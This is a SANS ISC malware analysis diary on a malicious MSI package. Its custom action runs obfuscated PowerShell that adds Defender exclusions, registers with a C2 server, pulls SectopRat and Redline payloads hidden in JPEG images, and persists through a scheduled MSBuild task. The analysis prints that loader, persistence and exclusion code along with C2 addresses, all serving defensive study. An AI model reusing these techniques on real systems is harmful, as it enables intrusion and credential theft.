Short Summary:
The article discusses the analysis of a potentially malicious MSI package containing obfuscated PowerShell code. The investigation reveals that the package attempts to execute harmful actions, including connecting to a command and control (C2) server and downloading additional malware payloads disguised as images. The analysis highlights the risks associated with MSI files and emphasizes the importance of downloading software from trusted sources.
Key Points:
- The file analyzed is an MSI package, which is often associated with malicious scripts.
- The MSI package failed to install in a sandbox environment due to a bootstrapper requirement.
- Custom actions within the MSI can execute PowerShell scripts that perform malicious activities.
- The initial PowerShell script registers with a C2 server and sends system information.
- Payloads are downloaded from the C2 server, disguised as JPEG images.
- The first payload belongs to the SectopRat family, while the second is identified as a Redline stealer.
- Persistence is achieved through scheduled tasks that execute the downloaded malware.
- The article warns against trusting MSI packages and advises downloading software only from safe sources.
MITRE ATT&CK TTPs – created by AI
- Command and Control (C2) – T1071
- Uses HTTP/HTTPS to communicate with the C2 server.
- Execution – T1059
- PowerShell scripts are executed to perform malicious actions.
- Persistence – T1053
- Scheduled tasks are created to maintain persistence.
- Data Obfuscation – T1001
- PowerShell code is heavily obfuscated to evade detection.
- Credential Access – T1003
- Redline stealer is used to collect credentials from the victim’s system.
One of my hunting rules hit on potentially malicious PowerShell code. The file was an MSI package (not an MSIX, these are well-known to execute malicious scripts[1]). This file was a good old OLE package:
remnux@remnux:/MalwareZoo/20240812$ trid resources.msi TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello Definitions found: 14909 Analyzing... Collecting data from file: resources.msi 80.0% (.MSI) Microsoft Windows Installer (454500/1/170) 10.7% (.MST) Windows SDK Setup Transform script (61000/1/5) 7.8% (.MSP) Windows Installer Patch (44509/10/5) 1.4% (.) Generic OLE2 / Multistream Compound (8000/1)
The file (SHA256: 69cad2bf6d63dfc93b632cfd91b5182f14b5140da22f9a0ce82c8b459ad76c38) has a low score on VT (1/32)[2]. I tried to install the package in my sandbox but it failed with an error message “This package can only be run from a bootstrapper”. After Googling more info, I found this:
If you get this error while attempting to uninstall or update a package with an EXE file, it may be because you’re using a multilingual package with a display language selection dialog (for multi-language packages) in the Languages Tab. This is a known issue that occurs when your different language installations have different Product Codes.
It could be related to the language used:
Let’s inspect the file with the msiinfo tool:
remnux@remnux:/MalwareZoo/20240812$ msiinfo suminfo resources.msi Title: Installation Database Subject: CYANBRAIN Author: Cyan Brain Keywords: Installer, MSI, Database Comments: Template: ;1033 Last author: Revision number (UUID): {2B08376D-79DC-48D6-982C-C17D5DF6E62F} Last printed: Fri Dec 11 06:47:44 2009 Created: Mon Aug 5 18:32:27 2024 Last saved: Fri Sep 18 10:06:51 2020 Version: 200 (c8) Source: 2 (2) Application: CYANBRAIN Security: 0 (0)
Don’t pay attention to the timestamps, the file has probably been altered. Does it try to mimic the game with the same name[3]?
Legacy MSI files can also trigger the execution of code using the “Custom Action” table[4].
remnux@remnux:/MalwareZoo/20240812$ msiinfo export resources.msi CustomAction Action Type Source Target ExtendedType s72 i2 S72 S0 I4 CustomAction Action AI_DetectSoftware 257 SoftwareDetector.dll OnDetectSoftware AI_DETECT_MODERNWIN 1 aicustact.dll DetectModernWindows AI_SET_ADMIN 51 AI_ADMIN 1 AI_AuthorSinglePackage 1 aicustact.dll AI_AuthorSinglePackage AI_InstallModeCheck 1 aicustact.dll UpdateInstallMode AI_SHOW_LOG 65 aicustact.dll LaunchLogFile AI_DpiContentScale 1 aicustact.dll DpiContentScale AI_EnableDebugLog 321 aicustact.dll EnableDebugLog AI_BACKUP_AI_SETUPEXEPATH 51 AI_SETUPEXEPATH_ORIGINAL [AI_SETUPEXEPATH] AI_DATA_SETTER_1 51 CustomActionData ParamsScript$date = "July" $SS = Get-Random -Minimum 1500 -Maximum 3000 sleep -Milliseconds $SS [[]Net.ServicePointManager[]]::SecurityProtocol = [[]Net.SecurityProtocolType[]]::Tls12 Add-MpPrefer`ence -ExclusionExtension "exe", ".dll", ".cmd", "jpg" Add-MpPrefer`ence -ExclusionPath "$env:USERPROFILE.steam", "C:WindowsSystem32Config", "$env:APPDATA" Add-MpPrefer`ence -ExclusionProcess "powershell.exe" ... (Stuff Deleted) ... $code = [[]System.Text.Encoding[]]::UTF8.GetString($codeBytes) Invoke-Expression $code ... (Stuff Deleted) ...
This piece of PowerShell will perform some interesting actions:
First, it starts the registration process with the C2:
GET /?status=reg&key=bart_23rfs&site=Barto_ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.251 Host: filemanaager[.]net Connection: Keep-Alive
A footprint of the victim’s computer is sent:
GET /?status=start&av=Windows%20Defender&domain=WORKGROUP&os=Microsoft+Windows+10+Enterprise HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.251 Host: filemanaager[.]net
The second stage is downloaded:
GET /bart.jpg HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.251 Host: 193[.]3[.]19[.]108 Connection: Keep-Alive
The file is a valid JPG image:
remnux@remnux:/mnt/hgfs/MalwareZoo/20240812$ file bart.jpg bart.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=15, bps=194, PhotometricIntepretation=RGB, description=Vibrant liquid wavy surface. 3D illustration abstract iridescent fluid render. Neon holographic, orientation=lower-left], progressive, precision 8, 7680x4320, components 3
But it contains a nice “gift”. The first PowerShell script will extract another payload located at the bottom of the file:
$goo = "abcdefghijklmnopqrstuvwxyz" $xxx = -join (1..8 | ForEach-Object [{] Get-Random -InputObject $goo.ToCharArray() [}]) $url = "hxxp://193[.]3[.]19[.]108/bart.jpg" #^?^?^? ^?^?^? $outputPath = "C:ProgramDatasteam.jpg" Invoke-WebRequest -Uri $url -OutFile $outputPath New-Item -ItemType Directory -Path $env:USERPROFILEz$xxx $filePath = Join-Path $env:USERPROFILE "z$xxx$xxx.csproj" $command = '$file = ''C:ProgramDatasteam.jpg''; ' + '$imageBytes = [[]System.IO.File[]]::ReadAllBytes($file); ' + '$blockSize = 1049526; ' + '$startIndex = $imageBytes.Length - $blockSize; ' + '$codeBytes = $imageBytes[[]$startIndex..($startIndex + $blockSize - 1)[]]; ' + '$code = [[]System.Text.Encoding[]]::UTF8.GetString($codeBytes); ' + 'Invoke-Expression $code;'
Here is the extracted $code:
$base64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA ... (Stuff Deleted) ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=^ $bytes = [Convert]::FromBase64String($base64) $domain = [System.AppDomain]::CurrentDomain $assembly = $domain.Load($bytes) $method = $assembly.EntryPoint $parameters = @() $result = $method.Invoke($null, $parameters) [System.GC]::Collect()
Let’s decode the payload:
remnux@remnux:/MalwareZoo/20240812$ base64dump.py -n 10 bart.jpg -s 7 -d >payload.exe
This malware belongs to the SectopRat family[5] (SHA256:7808f3aea222cdbec2e53b126f46195f4523e9501882b94e0cd42e30f8484f32). It connects to the following C2 server (located in Russia):
hxxp://213[.]109[.]202[.]229:9000/wbinjget?q=6DDE74FFD397B5FB346F9CA050F6095C
Persistence is implemented with a scheduled task that will extract again the payload from the “steam.jpg” JPEG image:
$xmlContent = @" <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="$xxx"> <Exec Command="powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $EncodedText" /> </Target> </Project> "@ Set-Content -Path $filePath -Value $xmlContent $action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start /min powershell.exe -NoProfile -WindowStyle Hidden -Command `"Start-Process -FilePath 'C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe' -ArgumentList '$env:USERPROFILEz$xxx$xxx.csproj', '/t:$xxx' -WindowStyle Hidden`"" $trigger = New-ScheduledTaskTrigger -AtLogon $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopOnIdleEnd $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive $task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal Register-ScheduledTask -TaskName "Chrome-Reporting Task-$xxx" -TaskPath "" -InputObject $task Start-ScheduledTask -TaskName "Chrome-Reporting Task-$xxx"
Then, another picture is downloaded from hxxp://193[.]3[.]19[.]108/Meta.jpg. I liked this one:
The file will carry another piece of malware that will be decoded using the same technique:
remnux@remnux:/MalwareZoo/20240812$ base64dump.py -n 10 Meta.jpg -s 12 -d >payload2.exe
This time, we are facing a Redline stealer[6] (SHA256:38c233b38ef1838666ce7204f41349d0ba9431ea4b23fdb05f915cc7a09ff7be). This one connects to:
83[.]97[.]73[.]190:4819
In conclusion, don’t trust MSI packages. Like any applications, download them only from safe locations!
[1] https://isc.sans.edu/diary/MSIX+With+Heavily+Obfuscated+PowerShell+Script/30636
[2] https://www.virustotal.com/gui/file/69cad2bf6d63dfc93b632cfd91b5182f14b5140da22f9a0ce82c8b459ad76c38
[3] https://f95zone.to/threads/cyan-brain-demo-8-1-nekouji-studio.210467/
[4] https://learn.microsoft.com/en-us/windows/win32/msi/customaction-table
[5] https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat
[6] https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
Source: https://isc.sans.edu/diary/rss/31168